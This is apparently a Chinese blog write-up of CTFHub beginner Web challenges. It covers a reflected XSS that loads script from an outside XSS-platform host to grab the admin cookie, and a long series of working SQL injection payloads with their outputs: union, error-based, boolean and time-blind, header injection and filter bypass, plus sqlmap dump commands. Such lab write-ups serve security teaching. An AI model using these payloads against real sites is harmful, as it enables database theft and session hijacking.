CTFHub入门(四)Web-XSS和SQL注入

XSS

上方的表单输入恶意脚本可模拟XSS反射,下方的URL表单提交后模拟管理员访问对应网址,实现XSS攻击,因此在上方构造XSS攻击语句,并测试攻击有效后,将当前的URL传入到后台,由模拟管理员访问该URL即可获得管理员的后台信息,在cookie中有flag。可通过XSS平台构造XSS项目,来简单的实现反射形XSS,如项目地址为"https://XSS/xxx",只需要构造JS代码:

<script src=//XSS/xxx> </script>

即可实现XSS攻击。若地址前不添加"https://"或"//",则读取网址时会读取当前URL下的子目录。src的内容引号可有可无。

SQL注入

整数型注入

查询数据库名称:

select 1,database()

查询数据库版本:

select 1,version()

查询所有数据库名称:

select * from news where id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

逐一查询sqli数据库中的表名,limit依次增加即可:

select * from news where id=-1 union select 1,(select table_name from information_schema.tables where table_schema="sqli" limit 0,1)

一口气查询sqli数据库中的所有表名:

select * from news where id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli"

查询flag表的所有列名:

select * from news where id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag"

查询flag:

select * from news where id=-1 union select 1,group_concat(flag) from flag
select * from news where id=-1 union select 1,group_concat(flag) from sqli.flag

字符型注入

字符型注入,由回显可以看见输入语句后面自动添加单引号,由于使用的是mysql,因此用 # 注释掉后方的单引号即可,先闭合id的单引号再利用联合查询获取数据库的信息,最后即可查询flag。获取数据库信息的流程与数字型完全一致。( -- 也可以注释,但是后面一定要跟一个空格)

payload如下:

-1' union select 1,group_concat(flag) from flag#

报错注入

利用函数 extractvalue() 来报库名:

1 and extractvalue(1,concat(0x7e,database(),0x7e))

->查询错误: XPATH syntax error: '~sqli'

再报表名:

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))

->查询错误: XPATH syntax error: '~flag,news~'

再报列名:

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))

->查询错误: XPATH syntax error: '~flag~'

查询flag:

1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))

->查询错误: XPATH syntax error: '~ctfhub{ff331e054589f471b2a43b12'

flag不完整是因为回显长度受限,可以尝试其他函数逐段提取flag,如使用 MID() 函数,用法:

SELECT MID(column_name,start[,length]) FROM table_name

start的起始值为1。

查询结果前16个字符:

1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))

->查询错误: XPATH syntax error: '~ctfhub{ff331e054~'

查询后16个字符:

1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17,16),0x7e))

->查询错误: XPATH syntax error: '~589f471b2a43b12}~'

拼接后得到本题flag。

本题flag长度恰好可以读取,因此可以取巧:

1 and extractvalue(1,(select flag from flag))

->查询错误: XPATH syntax error: '{ff331e054589f471b2a43b12}'

什么?你问我为什么会出现精准的报错?我也不知道捏,可能是强大的 extractvalue() 函数的功劳吧。

布尔盲注

利用函数 length(database()) 代替数据库名称的长度,利用语句

select * from news where id=1 and (length(database())=4)

->query_success

的布尔值来判断数据库名称的长度,"query_success"表示布尔值为真,这说明数据库名称是四个字母组成的,然后找出当前数据库名称为"sqli"

select * from news where id=1 and (left(database(),4)='sqli'

->query_success

另一种打开方式

select * from news where id=1 AND (ASCII(SUBSTR(database(),1,1)) = 115)

->query_success

s的ascii码为115,依次尝试即可试出数据库名称。

接下来注入表名,先测试表名长度

select * from news where id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4)

->query_success

length 后必须有两层括号,select 语句内置时外带一层括号才能表示其运行结果,再利用 substr 注入表名

select * from news where id=1 and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,4)='flag')

->query_success

得到表名为"flag",再注入列名

1 and substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,4)='flag'

->query_success

列名也为"flag",再注入flag的长度

1 and length((select flag from flag))=32

->query_success

盲注长度为32的字符串...有点哈人

1 and substr((select flag from flag),1,7)='ctfhub{'

->query_success

最后选择了sqlmap盲注出flag

sqlmap -u "http://challenge-06c1a76f102e1b8a.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump --batch

->ctfhub{c27eac6047bcc86c4ddc1e71}

安装sqlmap时发现python的包环境没有自动配置,使用 pip3 show sqlmap 可以查看sqlmap的安装位置为"c:\python310\lib\site-packages",大部分包都在这个下面。

参考:[

Gundam-_布尔盲注详解

]

时间盲注

由于回显界面唯一,只能利用 sleep() 函数判断逻辑语句的真值。

测试数据库名称

1 and if(length(database())=4,sleep(1),1)

->1秒后回显
1 and if(substr(database(),1,4)='sqli',sleep(1),1)

->1秒后回显

得到数据库名称为"sqli",再注入表名

1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4,sleep(1),1)

->1秒后回显
1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,4)='flag',sleep(1),1)

->1秒后回显

得到表名为"flag",再注入列名

1 and if(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,4)='flag',sleep(1),1)

->1秒后回显

得到列名为"flag",走了一遍流程后直接用sqlmap盲注flag

sqlmap -u http://challenge-78bdb9694d1ad49e.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

得到flag:ctfhub{5925c0ef5ad10d7098169ab8}

Mysql结构

先注入出数据库名称为"sqli",再注入表名

3 union select  1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

->lsqfcbayjj,news

猜测在表"lsqfcbayjj"中,注入列名

3 union select  1,group_concat(column_name) from information_schema.columns where table_name='lsqfcbayjj'

->zktwdmmwxu

猜测在列"zktwdmmwxu"中,尝试获取flag

select * from news where id=3 union select 1,group_concat(zktwdmmwxu) from lsqfcbayjj

->ctfhub{373cb70b9f9ccf99c1952b42}

cookie注入

安装"edit this cookie"插件后发现有名为id的cookie,先注入数据库名

-1 union select 1,database()

->sqli

再注入表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

->slkkeeangt,news

猜测在表"slkkeeangt"中,注入列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='slkkeeangt'

->qrorcmntjw

尝试读取flag

-1 union select 1,qrorcmntjw from slkkeeangt

->ctfhub{a9e624a6ce5ce52e20b62a15}

UA注入

注入点为ueragent,burp抓包后修改ua的值再放包即可,测试数据库名称

User-Agent: -1 union select 1,database()

->sqli

测试表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

->news,wxkwppsohi

测试列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wxkwppsohi'

->rdqdolhzsn

提取flag

 -1 union select 1,rdqdolhzsn from wxkwppsohi
 
 ->ctfhub{3393adeb7d33294471d785bf}

Refer注入

在请求头中新建一个键为"Refer",然后输入注入内容即可,先测试数据库名称

Referer: -1 union select 1,database()

->sqli

注入表名

Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

-> tpxlhprykj,news

注入列名

Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='tpxlhprykj'

->lvswxaswrq

提取flag

Referer: -1 union select 1,group_concat(lvswxaswrq) from tpxlhprykj

->ctfhub{fac6031a2c616a65cd187da2}

空格过滤

方法一:空格的URL编码为 %20+ ,使用空白字符 %09-%0d 替代即可绕过对空格的过滤。

获取库名

?id=-1%09union%09select%091%2Cdatabase%28%29

->sqli

获取表名

?id=-1%09union%09select%091%2Cgroup_concat%28table_name%29%09from%09information_schema.tables%09where%09table_schema%3D%27sqli%27

->news,rvticfnsgw

获取列名

?id=-1%09union%09select%091%2Cgroup_concat%28column_name%29%09from%09information_schema.columns%09where%09table_name%3D%27rvticfnsgw%27

->xijkqngfjz

提取flag

?id=-1%09union%09select%091%2Cxijkqngfjz%09from%09rvticfnsgw

->ctfhub{547d8fa973f049f989d44253}

方法二

用括号和引号省略空格,反引号包含表名和库名。

获取库名

(-1)union(select(1),database())

->sqli

失败案例

(-1)union(select(1,database()))

->fail
-1(union)select(1,database())

->fail

获取表名

(-1)union(select(1),group_concat(table_name)from(information_schema.tables)where(table_schema='sqli'))

->news,rvticfnsgw

失败案例

(-1)union(select(1),group_concat(table_name)from`information_schema.tables`where(table_schema='sqli'))
(-1)union(select(1),group_concat(table_name)(from)information_schema.tables(where)table_schema=sqli)

->fail
#反引号里乱七八糟的符号都是被视为表名本身,例如`qwq#123`中的#不会被解析为注释,因此反引号无法解析"库名.表名"的格式

获取列名

(-1)union(select(1),group_concat(column_name)from(information_schema.columns)where(table_name='rvticfnsgw'));

->xijkqngfjz

提取flag

(-1)union(select(1),(xijkqngfjz)from(rvticfnsgw))

->ctfhub{547d8fa973f049f989d44253}
(-1)union(select(1),(xijkqngfjz)from`rvticfnsgw`)

->ctfhub{547d8fa973f049f989d44253}
#这里的表名`rvticfnsgw`格式原始因此解析成功

失败案例

(-1)union(select(1),xijkqngfjz(from)rvticfnsgw)
posted @   Festu  阅读(444)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 全网最简单!3分钟用满血DeepSeek R1开发一款AI智能客服,零代码轻松接入微信、公众号、小程
点击右上角即可分享
微信分享提示